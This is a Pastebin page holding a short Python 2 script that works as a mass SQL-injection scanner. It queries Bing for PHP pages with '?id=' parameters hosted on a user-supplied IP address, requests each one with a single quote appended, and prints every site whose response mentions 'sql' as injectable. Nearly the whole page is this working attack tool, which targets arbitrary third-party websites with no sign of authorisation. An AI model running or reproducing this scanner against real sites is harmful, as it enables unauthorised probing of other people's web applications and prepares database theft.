Advertisement
dravatar

Untitled

May 5th, 2016
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. import urllib2
  2. import urllib
  3. import re
  4. class bcolors :
  5. HEADER = ''
  6. OKBLUE = ''
  7. OKGREEN = ''
  8. WARNING = ''
  9. FAIL = ''
  10. ENDC = ''
  11. CYAN = ''
  12. class colors():
  13. PURPLE = ''
  14. CYAN = ''
  15. DARKCYAN = ''
  16. BLUE = ''
  17. GREEN = ''
  18. YELLOW = ''
  19. RED = ''
  20. BOLD = ''
  21. ENDC = ''
  22. def grabsqli(ip):
  23. try :
  24. print bcolors.OKBLUE + "|- Grabbing Sqli "
  25. page = 1
  26. while page <= 21:
  27. bing = "http://www.bing.com/search?q=ip%3A"+ip+"+.php?id=&count=50&first="+str(page)
  28. openbing = urllib2.urlopen(bing)
  29. readbing = openbing.read()
  30. findwebs = re.findall('<h2><a href="(.*?)"' , readbing)
  31. sites = findwebs
  32. for i in sites :
  33. try :
  34. response = urllib2.urlopen(i).read()
  35. checksqli(i)
  36. except urllib2.HTTPError, e:
  37. str(sites).strip(i)
  38.  
  39. page = page + 10
  40. except :
  41. pass
  42. def checksqli(sqli):
  43. responsetwo = urllib2.urlopen(sqli + "'").read()
  44. find = re.findall("sql",responsetwo)
  45. if find:
  46. print("[ + ] SQLI > > " + sqli)
  47. ip = raw_input("IP ADDRESS >")
  48. grabsqli(ip)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement